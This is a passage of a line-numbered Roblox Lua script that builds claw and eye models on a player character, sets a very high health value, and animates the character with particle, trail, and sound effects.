Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2941
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2942
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2943
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2944
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2945
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2946
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2947
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2948
2949
local modelzorzz2=Instance.new("Model") 
2950
modelzorzz2.Parent=Character 
2951
modelzorzz2.Name="Claw2"
2952
2953
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
2954
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2955
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2956
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2957
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2958
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2959
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2960
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2961
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2962
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2963
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2964
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2965
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2966
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2967
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2968
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2969
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
2970
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2971
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
2972
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2973
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2974
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
2975
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2976
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
2977
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2978
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2979
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
2980
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2981
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
2982
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
2983
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2984
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
2985
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2986
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
2987
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2988
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
2989
Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2990
Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
2991
mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2992
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2993
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
2994
2995
local modelzorzz3=Instance.new("Model") 
2996
modelzorzz3.Parent=Character 
2997
modelzorzz3.Name="Eye"
2998
2999
handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3000
handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
3001
mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
3002
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3003
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3004
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
3005
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
3006
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3007
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
3008
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
3009
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3010
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
3011
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
3012
Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
3013
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
3014
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3015
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
3016
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3017
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
3018
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3019
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
3020
Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
3021
Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
3022
3023
p = game.Players.LocalPlayer
3024
char = p.Character
3025
torso = char.Torso
3026
neck = char.Torso.Neck
3027
hum = char.Humanoid
3028
hum.MaxHealth = 1527500
3029
wait()
3030
hum.Health =hum.MaxHealth
3031
3032
local particleemitter = Instance.new("ParticleEmitter", Handle)
3033
particleemitter.VelocitySpread = 180
3034
particleemitter.Lifetime = NumberRange.new(0.1)
3035
particleemitter.Speed = NumberRange.new(2)
3036
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3037
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3038
particleemitter.Rate = 100
3039
particleemitter.Rotation = NumberRange.new(-45, 45)
3040
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3041
particleemitter.LightEmission = 0.8
3042
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3043
3044
local particleemitter = Instance.new("ParticleEmitter", Handle2)
3045
particleemitter.VelocitySpread = 180
3046
particleemitter.Lifetime = NumberRange.new(0.1)
3047
particleemitter.Speed = NumberRange.new(2)
3048
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
3049
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3050
particleemitter.Rate = 100
3051
particleemitter.Rotation = NumberRange.new(-45, 45)
3052
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3053
particleemitter.LightEmission = 0.8
3054
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3055
3056
local particleemitter = Instance.new("ParticleEmitter", handle)
3057
particleemitter.VelocitySpread = 180
3058
particleemitter.Lifetime = NumberRange.new(0.1)
3059
particleemitter.Speed = NumberRange.new(2)
3060
particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
3061
particleemitter.RotSpeed = NumberRange.new(-45, 45)
3062
particleemitter.Rate = 100
3063
particleemitter.Rotation = NumberRange.new(-45, 45)
3064
particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
3065
particleemitter.LightEmission = 0.8
3066
particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
3067
3068
particleemitter.Enabled = true
3069
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
3070
    MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
3071
    so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
3072
    so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
3073
    for i=0,1,0.005 do
3074
        swait()
3075
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3076
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3077
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3078
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3079
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3080
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3081
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3082
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3083
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3084
    end
3085
    for i=0,1,0.04 do
3086
        swait()
3087
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3088
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3089
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3090
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
3091
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
3092
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
3093
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
3094
		LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
3095
    end
3096
attack = false
3097
end
3098
end
3099
end)
3100
3101
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
3102
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
3103
prt.Anchored=true
3104
prt.CFrame=cframe
3105
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
3106
game:GetService("Debris"):AddItem(prt,2)
3107
coroutine.resume(coroutine.create(function(Part,Mesh) 
3108
for i=0,1,delay do
3109
wait()
3110
Part.CFrame=Part.CFrame
3111
Part.Transparency=i
3112
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
3113
end
3114
Part.Parent=nil
3115
end),prt,msh)
3116
end
3117
3118
TrailDeb = false
3119
3120
function equipanim()
3121
    attack=true
3122
    Humanoid.WalkSpeed = 0
3123
    if TrailDeb == false then
3124
							TrailDeb = true
3125
						end
3126
3127
						
3128
coroutine.wrap(function()
3129
local Old = handle.CFrame.p
3130
while wait()do
3131
if not TrailDeb then break end
3132
local New = handle.CFrame.p
3133
local Mag =(Old -New).magnitude
3134
local Dis =(Old +New)/2
3135
local Trail = Instance.new("Part",Character)
3136
Trail.Material = "Neon"
3137
Trail.Anchored = true
3138
Trail.CanCollide = false
3139
Trail.BrickColor = TorsoColor
3140
Trail.Size = Vector3.new(0.2,Mag,0.2)
3141
Trail.TopSurface = 0
3142
Trail.BottomSurface = 0
3143
Trail.formFactor = "Custom"
3144
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3145
local ms = Instance.new("BlockMesh",Trail)
3146
ms.Scale = Vector3.new(1,1,1)
3147
local TM = Instance.new("CylinderMesh",Trail)
3148
TM.Scale = Vector3.new(1,1,1)
3149
Old = New
3150
coroutine.wrap(function()
3151
for i = 1,0,-0.1 do
3152
wait()
3153
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3154
end
3155
Trail:remove()
3156
end)()
3157
coroutine.wrap(function()
3158
for i = 1,10 do
3159
wait()
3160
Trail.Transparency = Trail.Transparency +0.1
3161
end end)()end end)()
3162
coroutine.wrap(function()
3163
local Old = Handle.CFrame.p
3164
while wait()do
3165
if not TrailDeb then break end
3166
local New = Handle.CFrame.p
3167
local Mag =(Old -New).magnitude
3168
local Dis =(Old +New)/2
3169
local Trail = Instance.new("Part",Character)
3170
Trail.Material = "Neon"
3171
Trail.Anchored = true
3172
Trail.CanCollide = false
3173
Trail.BrickColor = TorsoColor
3174
Trail.Size = Vector3.new(0.2,Mag,0.2)
3175
Trail.TopSurface = 0
3176
Trail.BottomSurface = 0
3177
Trail.formFactor = "Custom"
3178
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3179
local ms = Instance.new("BlockMesh",Trail)
3180
ms.Scale = Vector3.new(1,1,1)
3181
local TM = Instance.new("CylinderMesh",Trail)
3182
TM.Scale = Vector3.new(1,1,1)
3183
Old = New
3184
coroutine.wrap(function()
3185
for i = 1,0,-0.1 do
3186
wait()
3187
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3188
end
3189
Trail:remove()
3190
end)()
3191
coroutine.wrap(function()
3192
for i = 1,10 do
3193
wait()
3194
Trail.Transparency = Trail.Transparency +0.1
3195
end end)()end end)()
3196
coroutine.wrap(function()
3197
local Old = Handle2.CFrame.p
3198
while wait()do
3199
if not TrailDeb then break end
3200
local New = Handle2.CFrame.p
3201
local Mag =(Old -New).magnitude
3202
local Dis =(Old +New)/2
3203
local Trail = Instance.new("Part",Character)
3204
Trail.Material = "Neon"
3205
Trail.Anchored = true
3206
Trail.CanCollide = false
3207
Trail.BrickColor = TorsoColor
3208
Trail.Size = Vector3.new(0.2,Mag,0.2)
3209
Trail.TopSurface = 0
3210
Trail.BottomSurface = 0
3211
Trail.formFactor = "Custom"
3212
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
3213
local ms = Instance.new("BlockMesh",Trail)
3214
ms.Scale = Vector3.new(1,1,1)
3215
local TM = Instance.new("CylinderMesh",Trail)
3216
TM.Scale = Vector3.new(1,1,1)
3217
Old = New
3218
coroutine.wrap(function()
3219
for i = 1,0,-0.1 do
3220
wait()
3221
TM.Scale = TM.Scale * Vector3.new(i,1,i)
3222
end
3223
Trail:remove()
3224
end)()
3225
coroutine.wrap(function()
3226
for i = 1,10 do
3227
wait()
3228
Trail.Transparency = Trail.Transparency +0.1
3229
end end)()end end)()
3230
    so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) 
3231
    for i=0,1,0.005 do
3232
        swait()
3233
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
3234
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3235
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3236
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3237
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3238
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3239
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3240
    end
3241
    for i=0,1,0.005 do
3242
        swait()
3243
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
3244
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
3245
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3246
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3247
        Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
3248
        LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
3249
        RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
3250
    end
3251
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3252
    so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
3253
    for i=0,1,0.005 do
3254
        swait()
3255
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
3256
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
3257
        handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
3258
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
3259
        Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
3260
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3261
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3262
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
3263
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
3264
    end
3265
    for i=0,1,0.04 do
3266
        swait()
3267
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
3268
		handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
3269
        Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
3270
